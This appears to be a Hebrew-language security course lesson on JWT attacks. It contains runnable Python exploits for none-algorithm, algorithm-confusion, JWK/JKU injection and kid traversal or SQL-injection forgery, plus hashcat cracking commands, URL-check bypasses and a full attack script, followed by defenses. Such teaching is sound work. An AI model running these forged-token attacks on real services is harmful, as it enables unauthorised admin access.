תקיפת JWT - JWT Attacks¶
מבוא¶
טוקני JWT (JSON Web Token) הפכו לסטנדרט הנפוץ ביותר לניהול אותנטיקציה ב-API מודרניים ובאפליקציות SPA. בקורס הבסיסי למדנו מהו JWT וכיצד הוא עובד. בשיעור זה נצלול לעומק לתקיפות מתקדמות שמנצלות חולשות בהגדרות JWT, באימות signatures ובניהול מפתחות.
סקירת מבנה JWT¶
טוקן JWT מורכב משלושה חלקים מופרדים בנקודות:
כל חלק מקודד ב-Base64URL. לדוגמה:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlciI6ImFkbWluIiwiaWF0IjoxNjk5MDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
הdecoding ה-Header:
הdecoding ה-Payload:
החלק השלישי הוא הsignature, שנוצרת כך:
תקיפה 1: אלגוריתם None - None Algorithm Attack¶
הרקע¶
מפרט JWT תומך באלגוריתם none שמשמעותו "ללא signature". שרתים שלא מאמתים כראוי את ה-alg עלולים לקבל טוקנים ללא signature.
שלבי התקיפה¶
- קחו טוקן JWT תקין
- שנו את ה-header כך שה-
algיהיה"none" - שנו את ה-payload כרצונכם
- הסירו את הsignature (השאירו את הנקודה האחרונה)
קוד תקיפה ב-Python¶
import base64
import json
def exploit_none_algorithm(token):
"""Exploit the none algorithm in JWT"""
# Parse the token
parts = token.split('.')
# Change the header to the none algorithm
header = {"alg": "none", "typ": "JWT"}
# Change the payload - turn into admin
payload = json.loads(
base64.urlsafe_b64decode(parts[1] + '==')
)
payload['role'] = 'admin'
payload['user'] = 'administrator'
# Re-encode
new_header = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
new_payload = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
# Token without a signature - note the trailing dot
malicious_token = f"{new_header}.{new_payload}."
return malicious_token
# Usage
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.abc123"
print(exploit_none_algorithm(original))
וריאציות נוספות של שם האלגוריתם שעשויות לעבוד:
תקיפה 2: בלבול אלגוריתמים - Algorithm Confusion (RS256 to HS256)¶
הרקע¶
כאשר השרת משתמש ב-RS256 (signature א-סימטרית), הוא חותם עם מפתח פרטי ומאמת עם מפתח ציבורי. אם נשנה את האלגוריתם ל-HS256 (signature סימטרית), השרת עלול להשתמש במפתח הציבורי כסוד של HMAC.
שלבי התקיפה¶
- השיגו את המפתח הציבורי של השרת (בדרך כלל זמין ב-
/.well-known/jwks.json) - שנו את ה-
algמ-RS256 ל-HS256 - חתמו על הטוקן באמצעות HMAC עם המפתח הציבורי כסוד
קוד תקיפה¶
import jwt
import requests
def algorithm_confusion_attack(token, public_key_url):
"""Algorithm confusion attack RS256 -> HS256"""
# Step 1: Obtain the public key
resp = requests.get(public_key_url)
public_key = resp.text # PEM format
# Step 2: Decode the original token (without verification)
payload = jwt.decode(token, options={"verify_signature": False})
# Step 3: Modify the data
payload['role'] = 'admin'
# Step 4: Re-sign with HS256
# Using the public key as the HMAC secret
malicious_token = jwt.encode(
payload,
public_key,
algorithm='HS256'
)
return malicious_token
# Usage
token = "eyJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.signature"
public_key_url = "https://target.com/.well-known/jwks.json"
שימו לב: ספריית PyJWT בגרסאות חדשות חוסמת תקיפה זו כברירת מחדל. יש להשתמש בגרסה ישנה או בספריה אחרת.
השגת המפתח הציבורי ממספר טוקנים¶
כאשר המפתח הציבורי לא זמין ישירות, ניתן לחלץ אותו משני טוקנים חתומים:
תקיפה 3: הinjection JWK בתוך ה-Header - JWK Header Injection¶
הרקע¶
פרמטר jwk ב-header מאפשר להטמיע מפתח ציבורי ישירות בתוך הטוקן. שרתים שסומכים על מפתח זה ללא אימות חשופים לתקיפה.
שלבי התקיפה¶
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import jwt
import json
def jwk_injection_attack():
"""JWK header injection attack"""
# Step 1: Create a new RSA key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
# Step 2: Create a JWK from the public key
from jwt.algorithms import RSAAlgorithm
jwk_dict = json.loads(RSAAlgorithm.to_jwk(public_key))
# Step 3: Build the header with an embedded JWK
header = {
"alg": "RS256",
"typ": "JWT",
"jwk": jwk_dict
}
# Step 4: malicious payload
payload = {
"sub": "admin",
"role": "administrator",
"iat": 1699000000,
"exp": 1999000000
}
# Step 5: Sign with our private key
token = jwt.encode(
payload,
private_key,
algorithm='RS256',
headers={"jwk": jwk_dict}
)
return token
תקיפה 4: הinjection JKU - JKU Header Injection¶
הרקע¶
פרמטר jku (JWK Set URL) מצביע על URL שממנו השרת מוריד את ערכת המפתחות. אם השרת לא מאמת כראוי את ה-URL, ניתן להפנות אותו לשרת של התוקף.
שלבי התקיפה¶
- צרו זוג מפתחות RSA
- ארחו את המפתח הציבורי בפורמט JWK Set בשרת שלכם
- שנו את ה-
jkuב-header להצביע על השרת שלכם - חתמו את הטוקן עם המפתח הפרטי שלכם
קוד תקיפה¶
import jwt
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
def jku_injection_attack(attacker_url):
"""JKU injection attack"""
# Create keys
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# The JWK Set to be hosted on the attacker's server
from jwt.algorithms import RSAAlgorithm
public_jwk = json.loads(
RSAAlgorithm.to_jwk(private_key.public_key())
)
public_jwk["kid"] = "attacker-key-1"
jwks = {
"keys": [public_jwk]
}
print("[*] Host the following JWKS on your server:")
print(json.dumps(jwks, indent=2))
# Create the malicious token
payload = {
"sub": "admin",
"role": "administrator"
}
token = jwt.encode(
payload,
private_key,
algorithm='RS256',
headers={
"jku": f"{attacker_url}/.well-known/jwks.json",
"kid": "attacker-key-1"
}
)
return token
# Usage
token = jku_injection_attack("https://attacker.com")
טכניקות לbypass בדיקת URL¶
שרתים רבים בודקים שה-jku מצביע על דומיין מורשה. טכניקות bypass:
# Bypass via open redirect
https://target.com/redirect?url=https://attacker.com/jwks.json
# Bypass via fragment
https://target.com#@attacker.com/jwks.json
# Bypass via subdomain
https://target.com.attacker.com/jwks.json
# Bypass via path traversal
https://target.com/..%2F..%2Fattacker.com/jwks.json
תקיפה 5: תקיפות על פרמטר kid - KID Parameter Attacks¶
הרקע¶
פרמטר kid (Key ID) מציין לשרת איזה מפתח להשתמש לאימות. אם הערך שלו מועבר לפעולות ללא סינון, ניתן לנצל זאת.
תקיפה 5.1: מעבר ספריות - Path Traversal¶
import jwt
import hashlib
def kid_path_traversal():
"""Exploit path traversal in the kid parameter"""
# Point to a known file with known content
# /dev/null returns an empty string
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}
payload = {
"sub": "admin",
"role": "administrator"
}
# Sign with an empty string (content of /dev/null)
token = jwt.encode(
payload,
"", # Empty secret - the content of /dev/null
algorithm='HS256',
headers={"kid": "../../../../dev/null"}
)
return token
def kid_known_file():
"""Exploit kid with a known static file"""
# Use a public CSS file as the secret
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../var/www/html/css/style.css"
}
# Need to read the content of the public file
import requests
css_content = requests.get(
"https://target.com/css/style.css"
).text
payload = {"sub": "admin", "role": "administrator"}
token = jwt.encode(
payload,
css_content,
algorithm='HS256',
headers={"kid": "../../../../var/www/html/css/style.css"}
)
return token
תקיפה 5.2: הinjection SQL - SQL Injection in KID¶
def kid_sql_injection():
"""Exploit SQL injection in the kid parameter"""
# If the server looks up the key in a database:
# SELECT key FROM keys WHERE kid = '<user_input>'
# Inject UNION to get a known value as the key
kid_payload = "' UNION SELECT 'my-secret-key' -- "
payload = {"sub": "admin", "role": "administrator"}
token = jwt.encode(
payload,
"my-secret-key",
algorithm='HS256',
headers={"kid": kid_payload}
)
return token
תקיפה 5.3: הinjection Null Byte¶
def kid_null_byte():
"""Exploit null byte in the kid parameter"""
# The null byte will truncate the path
kid_payload = "valid-key-id\x00.pem"
payload = {"sub": "admin"}
token = jwt.encode(
payload,
"secret",
algorithm='HS256',
headers={"kid": kid_payload}
)
return token
תקיפה 6: מניפולציית חותמות זמן - Timestamp Manipulation¶
הרקע¶
טוקני JWT כוללים שדות זמן כמו exp (תפוגה), iat (זמן יצירה), ו-nbf (לא לפני). מניפולציה של שדות אלו יכולה להאריך תוקף טוקנים או לעקוף בדיקות.
import time
import jwt
def timestamp_manipulation(token, secret):
"""Timestamp manipulation in JWT"""
# Decode without verification
payload = jwt.decode(token, options={"verify_signature": False})
# Extend expiry 10 years forward
payload['exp'] = int(time.time()) + (10 * 365 * 24 * 3600)
# Change issued-at time
payload['iat'] = int(time.time())
# Remove nbf if present
payload.pop('nbf', None)
# Re-sign (requires the secret)
new_token = jwt.encode(payload, secret, algorithm='HS256')
return new_token
def exploit_expired_token_acceptance(expired_token):
"""Check whether the server accepts expired tokens"""
import requests
headers = {"Authorization": f"Bearer {expired_token}"}
# Some servers don't check expiry
response = requests.get(
"https://target.com/api/admin",
headers=headers
)
if response.status_code == 200:
print("[+] The server accepts expired tokens!")
return response
כלי עבודה - Tools¶
jwt.io¶
אתר אינטרנט לdecoding ובדיקת טוקני JWT. שימושי לניתוח מהיר אך לא לתקיפות.
jwt_tool¶
הכלי המרכזי לתקיפת JWT:
# Automatic scan of vulnerabilities
python3 jwt_tool.py <token> -M at
# none algorithm attack
python3 jwt_tool.py <token> -X a
# algorithm confusion attack
python3 jwt_tool.py <token> -X k -pk public_key.pem
# Change values in the payload
python3 jwt_tool.py <token> -T -S hs256 -p "secret"
# Crack the HMAC secret using a wordlist
python3 jwt_tool.py <token> -C -d wordlist.txt
הרחבת JWT ל-Burp Suite¶
1. Install the JWT Editor extension from the BApp Store
2. JWT tokens will be automatically detected in requests
3. Click the JSON Web Token tab to edit
4. Use Attack to perform automated attacks
שבירת סוד HMAC באמצעות hashcat¶
# Convert JWT to hashcat format
echo -n "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ" > jwt_hash.txt
# Crack with a wordlist
hashcat -m 16500 jwt_hash.txt wordlist.txt
# Crack with brute force
hashcat -m 16500 jwt_hash.txt -a 3 ?a?a?a?a?a?a
סקריפט תקיפה מלא¶
#!/usr/bin/env python3
"""
Comprehensive JWT attack script
"""
import jwt
import json
import base64
import requests
import argparse
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
class JWTAttacker:
def __init__(self, token, target_url):
self.token = token
self.target_url = target_url
self.header = self._decode_header()
self.payload = self._decode_payload()
def _decode_header(self):
header_b64 = self.token.split('.')[0]
header_b64 += '=' * (4 - len(header_b64) % 4)
return json.loads(base64.urlsafe_b64decode(header_b64))
def _decode_payload(self):
payload_b64 = self.token.split('.')[1]
payload_b64 += '=' * (4 - len(payload_b64) % 4)
return json.loads(base64.urlsafe_b64decode(payload_b64))
def test_none_algorithm(self):
"""Test the none algorithm attack"""
print("[*] Testing none algorithm...")
for alg in ["none", "None", "NONE", "nOnE"]:
header = {"alg": alg, "typ": "JWT"}
payload = self.payload.copy()
payload['role'] = 'admin'
h = base64.urlsafe_b64encode(
json.dumps(header).encode()
).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(
json.dumps(payload).encode()
).rstrip(b'=').decode()
malicious = f"{h}.{p}."
resp = requests.get(
self.target_url,
headers={"Authorization": f"Bearer {malicious}"}
)
if resp.status_code == 200:
print(f"[+] Worked with: {alg}")
return malicious
print("[-] none algorithm did not work")
return None
def test_kid_path_traversal(self):
"""Test path traversal in kid"""
print("[*] Testing kid path traversal...")
paths = [
"../../../../dev/null",
"../../../../etc/hostname",
"../../../../../../../dev/null",
]
for path in paths:
payload = self.payload.copy()
payload['role'] = 'admin'
try:
token = jwt.encode(
payload,
"",
algorithm='HS256',
headers={"kid": path}
)
resp = requests.get(
self.target_url,
headers={"Authorization": f"Bearer {token}"}
)
if resp.status_code == 200:
print(f"[+] Worked with path: {path}")
return token
except Exception as e:
continue
print("[-] kid path traversal did not work")
return None
def info(self):
"""Print information about the token"""
print(f"Algorithm: {self.header.get('alg')}")
print(f"Type: {self.header.get('typ')}")
print(f"Header: {json.dumps(self.header, indent=2)}")
print(f"Payload: {json.dumps(self.payload, indent=2)}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="JWT Attacker")
parser.add_argument("token", help="JWT token")
parser.add_argument("url", help="Target URL")
parser.add_argument("--attack", choices=[
"none", "kid", "info", "all"
], default="info")
args = parser.parse_args()
attacker = JWTAttacker(args.token, args.url)
if args.attack == "info":
attacker.info()
elif args.attack == "none":
attacker.test_none_algorithm()
elif args.attack == "kid":
attacker.test_kid_path_traversal()
elif args.attack == "all":
attacker.info()
attacker.test_none_algorithm()
attacker.test_kid_path_traversal()
הגנות - Defenses¶
1. רשימת אלגוריתמים מותרים¶
# Correct - explicit algorithm definition
payload = jwt.decode(
token,
secret,
algorithms=["HS256"] # Only this algorithm is allowed
)
# Wrong - allows any algorithm
payload = jwt.decode(token, secret, algorithms=jwt.algorithms.ALGORITHMS)
2. אימות כל פרמטרי ה-Header¶
def validate_jwt_header(token):
"""Validate the header of a JWT"""
header = jwt.get_unverified_header(token)
# Check algorithm
allowed_algs = ["RS256"]
if header.get("alg") not in allowed_algs:
raise ValueError("Algorithm not allowed")
# Reject dangerous parameters
dangerous_params = ["jwk", "jku", "x5u", "x5c"]
for param in dangerous_params:
if param in header:
raise ValueError(f"Parameter {param} is not allowed in header")
# Validate kid
if "kid" in header:
kid = header["kid"]
if "/" in kid or ".." in kid or "'" in kid:
raise ValueError("kid contains forbidden characters")
return True
3. ניהול מפתחות נכון¶
# Use a strong RSA key (minimum 2048 bits)
# Use a long HMAC secret (minimum 256 bits)
# Periodic key rotation
# Store keys in a secure vault (HashiCorp Vault, AWS KMS)
4. אימות נכון של טוקנים¶
def validate_token(token, public_key):
"""Full validation of a JWT token"""
try:
payload = jwt.decode(
token,
public_key,
algorithms=["RS256"],
options={
"verify_exp": True,
"verify_iat": True,
"verify_nbf": True,
"require": ["exp", "iat", "sub"]
}
)
return payload
except jwt.ExpiredSignatureError:
raise ValueError("The token has expired")
except jwt.InvalidTokenError as e:
raise ValueError(f"Invalid token: {e}")
סיכום¶
תקיפות JWT מנצלות את הגמישות של המפרט ואת ההטמעות הלקויות. הנקודות המרכזיות:
- תמיד הגדירו רשימת אלגוריתמים מותרים מפורשת
- לעולם אל תסמכו על פרמטרים שמגיעים מתוך הטוקן עצמו (jwk, jku, kid)
- השתמשו בספריות מעודכנות שחוסמות תקיפות ידועות
- בצעו אימות מלא של כל שדות הטוקן כולל חותמות זמן
- נהלו מפתחות בצורה מאובטחת עם רוטציה תקופתית